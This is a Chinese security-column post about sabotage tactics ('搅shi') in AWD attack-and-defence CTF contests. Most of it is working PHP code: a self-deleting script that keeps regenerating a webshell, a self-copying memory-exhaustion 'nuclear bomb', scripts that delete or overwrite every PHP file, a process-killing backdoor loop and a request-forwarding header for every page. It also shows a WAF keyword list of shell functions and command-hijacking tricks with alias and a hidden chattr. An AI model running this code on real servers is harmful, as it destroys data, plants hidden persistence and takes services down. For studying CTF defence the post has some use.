专栏名称: 国科漏斗社区
为在校学生和IT从业人员,提供一个学习信息安全知识的渠道,也为信息安全从业人员,提供一个技术交流和提升的平台
目录
相关文章推荐
墨香中华  ·  ​一曲《梅花三弄》送给你! ·  3 天前  
墨香中华  ·  100个姓氏,100句诗,看看你是哪一句? ·  6 天前  
古典文献学微刊  ·  新书 | 徐蜀著《古籍目录学版本学杂著》出版 ·  1 周前  
51好读  ›  专栏  ›  国科漏斗社区

AWD搅shi攻略

国科漏斗社区  · 公众号  ·  · 2019-12-20 17:30

正文

前几次跟大家聊聊了关于在AWD中的一些常规攻击思路和防御思路,这次来聊聊在比赛中的一些骚操作也有被称作为“搅shi”;这些骚操作不一定适用于全部比赛,具体情况应要视主办方的比赛规则以及现场的环境才行。


emmm......   PHP是世界上最好的语言!!!



让我们来看看php的特殊内置函数可以做一些什么事情呢。

● set_time_limit — 设置脚本最大执行时间;

   set_time_limit ( int $seconds ) : bool


设置允许脚本运行的时间,单位为秒。如果超过了此设置,脚本返回一个致命的错误。默认值为30秒,或者是在php.ini的max_execution_time被定义的值,如果此值存在。


当此函数被调用时,set_time_limit()会从零开始重新启动超时计数器。换句话说,如果超时默认是30秒,在脚本运行了了25秒时调用 set_time_limit(20),那么,脚本在超时之前可运行总时间为45秒。


● ini_get — 获取一个配置选项的值;

   ini_get ( string $varname ) : string

成功时返回配置选项的值。

● file_get_contents — 将整个文件读入一个字符串;

   file_get_contents ( string $filename [, bool $use_include_path = false [, resource $context [, int $offset = -1 [, int $maxlen ]]]] ) : string


和 file() 一样,只除了 file_get_contents() 把文件读入一个字符串。将在参数 offset 所指定的位置开始读取长度为 maxlen 的内容。如果失败,file_get_contents() 将返回 FALSE。


file_get_contents() 函数是用来将文件的内容读入到一个字符串中的首选方法。如果操作系统支持还会使用内存映射技术来增强性能。

● file_put_contents — 将一个字符串写入文件;

  file_put_contents ( string $filename , mixed $data [, int $flags = 0 [, resource $context ]] ) : int

和依次调用 fopen(),fwrite() 以及 fclose() 功能一样。

● unlink — 删除文件;

   unlink ( string $filename [, resource $context ] ) : bool

删除 filename。和 Unix C 的 unlink() 函数相似。发生错误时会产生一个 E_WARNING 级别的错误。

● ignore_user_abort — 设置客户端断开连接时是否中断脚本的执行;

   ignore_user_abort ([ bool $value ] ) : int

设置客户端断开连接时是否中断脚本的执行


PHP 以命令行脚本执行时,当脚本终端结束,脚本不会被立即中止,除非设置 value 为 TRUE,否则脚本输出任意字符时会被中止。



再来看看使用php还可以写出什么骚东西来。

● no_die_shell.php (不死马)



    set_time_limit(0);

    ignore_user_abort(1);

    unlink(__FILE__);

    //file_put_contents(__FILE__,'');

    while(1){

        file_put_contents('path/webshell.php','');

    }

?>


这个php的脚本就是删除自己,然后在某一目录下循环生成自己的webshell


● nuclear_bomb.php (核弹)



    set_time_limit(0);

    ignore_user_abort(true);

    while(1){

        file_put_contents(randstr().'.php',file_get_content(__FILE__));

        file_get_contents("http://127.0.0.1/");

    }

?>


这个脚本的功能就是常驻内存后,进入死循环。循环内是实现无效复制自身并访问web服务;执行之后的结果就是内存爆炸,php也就凉了,更加严重的话docker也有可能会凉。


● del.php  (你死我活)



    set_time_limit(0);

    ignore_user_abort(1);

    array_map('unlink', glob("some/dir/*.php"));

?>


● del_or_change.php



    set_time_limit(0);

    ignore_user_abort(1);

    unlink(__FILE__);

    function getfiles($path){

        foreach(glob($path) as $afile){

            if(is_dir($afile))

                getfiles($afile.'/*.php');

            else

                @file_put_contents($afile,"#Anything#");

                //unlink($afile);

        }

    }

    while(1){

        getfiles(__DIR__);

        sleep(10);

    }

?>


遍历出所有的PHP文件,然后根据你自己想要改写或者删除就看你自己的咯。

如果unlink删除函数被ban掉了,那就改写。


● php_waf_and_log_to_txt.php (恶心WAF)



    error_reporting(0);

    define('LOG_FILENAME','log.txt');

    function waf()

    {

        if (!function_exists('getallheaders')) {

            function getallheaders() {

                foreach ($_SERVER as $name => $value) {

                    if (substr($name, 0, 5) == 'HTTP_')

                        $headers[str_replace(' ', '-', ucwords(strtolower(str_replace('_', ' ', substr($name, 5)))))] = $value;

                }

                return $headers;

            }

        }

        $get = $_GET;

        $post = $_POST;

        $cookie = $_COOKIE;

        $header = getallheaders();

        $files = $_FILES;

        $ip = $_SERVER["REMOTE_ADDR"];

        $method = $_SERVER['REQUEST_METHOD'];

        $filepath = $_SERVER["SCRIPT_NAME"];

        //rewirte shell which uploaded by others, you can do more

        foreach ($_FILES as $key => $value) {

            $files[$key]['content'] = file_get_contents($_FILES[$key]['tmp_name']);

            file_put_contents($_FILES[$key]['tmp_name'], "virink");

        }

        unset($header['Accept']);//fix a bug

        $input = array("Get"=>$get, "Post"=>$post, "Cookie"=>$cookie, "File"=>$files, "Header"=>$header);

        //deal with

        $pattern = "select|insert|update|delete|and|or|\'|\/\*|\*|\.\.\/|\.\/|union|into|load_file|outfile|dumpfile|sub|hex";

        $pattern .= "|file_put_contents|fwrite|curl|system|eval|assert";

        $pattern .="|passthru|exec|system|chroot|scandir|chgrp|chown|shell_exec|proc_open|proc_get_status|popen|ini_alter|ini_restore";

        $pattern .="|`|dl|openlog|syslog|readlink|symlink|popepassthru|stream_socket_server|assert|pcntl_exec";

        $vpattern = explode("|",$pattern);

        $bool = false;

        foreach ($input as $k => $v) {

            foreach($vpattern as $value){

                foreach ($v as $kk => $vv) {

                    if (preg_match( "/$value/i", $vv )){

                        $bool = true;

                        logging($input);

                        break;

                    }

                }

                if($bool) break;

            }

            if($bool) break;

        }

    }

    function logging($var){

        file_put_contents(LOG_FILENAME, "\r\n".time()."\r\n".print_r($var, true), FILE_APPEND);

        // die() or unset($_GET) or unset($_POST) or unset($_COOKIE);

    }

    waf();

?>


1.重启apache

2.自建后门,以www-data 用户身份杀掉所有该用户所有进程。


    while (1) {

        $pid=1234;

        @unlink('shell.php');

        exec('kill -9 $pid');

          }

?>



这个操作吧,是真的骚!!!请大家慎重使用!!!

WEB:

无 ROOT 权限:PHP 反向代理

Egl

● 在每个php文件头上加上

$url = 'http://10.10.10.142:8803/'.$_SERVER["REQUEST_URI"];

$ch = curl_init(); 

curl_setopt($ch, CURLOPT_URL, $url);

curl_exec($ch);

curl_close($ch);

exit();

反向代理程序代码:

https://gitee.com/jamesren_781/codes/e9v45qa68wndrzbh3ktof


有 ROOT 权限:

关闭 WEB Server

SSH 端口本地转发

● ssh -C -f -N -g -L listen_port:DST_Host:DST_port user@Tunnel_Host 

  ssh -C -f -N -g -R listen_port:DST_Host:DST_port user@Tunnel_Host 

  ssh -C -f -N -g -D listen_port user@Tunnel_Host

● -C 压缩

● -g 允许外部链接

● -f 后台运行

● -N 不执行 Shell


 ● PWN:

在 Patch binary 的时候直接将 binary 替换端口转发的程序/脚本。

经过这波操作之后攻击者访问到的永远是别人的服务,然后就可以苟着祈祷自己永不丢分,再然后等着主办方发现后取消比赛资格。



这个就要用到alias这个命令,我们来好好唠唠alias。

先来简单的介绍一下alias命令吧!

alias(设置别名)

alias 别名=’原命令 -选项/参数’

比如说呢:

alias ll='ls -lt'

这样设置了ls -lt命令的别名是ll,在终端输入ll时,则相当于输入了ls -lt命令。

注意:在定义别名时,等号两边不能有空格,否则shell不能决定您需要做什么。仅在命令中包含空格或特殊字符时才需要引号。如果键入不带任何参数的alias 命令,将显示所有已定义的别名。


单输入alias时,显示的是所有设置好的别名。


删除别名
alias 别名
比如:alias ll

以上这些设置呢,只作用于当次登入的操作。如果想每次登入都能使用这些命令的别名,则可以把相应的alias命令存放在 ~/.bashrc 文件中。

1.打开~/.bashrc文件,输入要设置的alias命令,保存,然后运行

2.source ~/.bashrc

3.如果这样还不行,表示没有~/.bash_profile文件或文件中没有执行~/.bashrc文件

4.可以在~/.bash_profile中加入命令 source ~/.bashrc 后保存

5.这样就可以每次登入后都可以使用设置好的命令别名。


这时候就要发挥你们聪明的脑袋瓜子了,比如说你要获取flag第一时间是不是想到使用cat命令去获取flag,那当我们将cat命令设置成ifconfig命令时,那么别人使用cat flag时,真实命令是ifconfig flag,那么就会一直报错了。

也可以多套几个别名,然后想一下除了cat、vi、vim等一些常规命令还有其他什么命令来获取flag,都可以使用别名来混淆对手。

Chatter(针对文件或文件夹)

Chatter:锁定文件,不能删除,不能更改

+a:  只能给文件添加内容,但是删除不了,

 chattr +a  /etc/passwd

 -d:      不可删除

加锁:chattr +i  /etc/passwd       文件不能删除,不能更改,不能移动

查看加锁:lsattr /etc/passwd      文件加了一个参数 i 表示锁定

解锁:chattr -i /home/omd/h.txt    - 表示解除


我们这样子操作人家也有机会将文件或者文件夹解锁,那么我们就要想办法让别人操作不了,那就隐藏Chattr这个命令。

隐藏chattr命令:

1.which chattr

2.mv /usr/bin/chattr  /opt/ftl/

3.cd /opt/ftl/

4.mv chattr h    -->更改命令,使用别名h隐藏身份

5./opt/ftl/h +i /home/omd/h.txt   -->利用h 行驶chattr命令

6.lsattr /home/omd/h.txt    -->查看加密信息


恢复隐藏命令:

1.mv h /usr/bin/chattr

2.chattr -i /home/omd/h.txt

3. lsattr /home/omd/h.txt


除了综上这些搅shi的方法,还有其他更骚的操作,就看大家能不能放开思维了。例如,拿到shell之后直接删站的;也有内存里写个脚本循环结束apache的;也有那种默默帮忙补上漏洞,不让其他人拿分的,然后自己默默一直刷这个队伍的分的;还有换flag的,或者是弄了个假的flag文件;也有捎带着放种子的,嘿嘿嘿;还有上传flag.exe的。赛场上真的是多姿多彩。重点是要放开我们的思维,从各种方面各种角度来实现我们想要达到的成果。毕竟赛场上的环境都是不一样,以上的一些骚操作不一定都适用。


CTF是个增长技艺的比赛,让我们见识见识各位大佬的高超操作以及黑科技,举办比赛不易,一定程度的搅shi也能增加比赛的一些趣味性,搅屎以及防搅shi何尝不是另外一种攻防的形式呢。

参考资料:

https://www.jianshu.com/p/4b5b8810421d

https://www.virzz.com/2017/05/25/how_to_fuck_the_ctf.html


发现更多精彩
关注公众号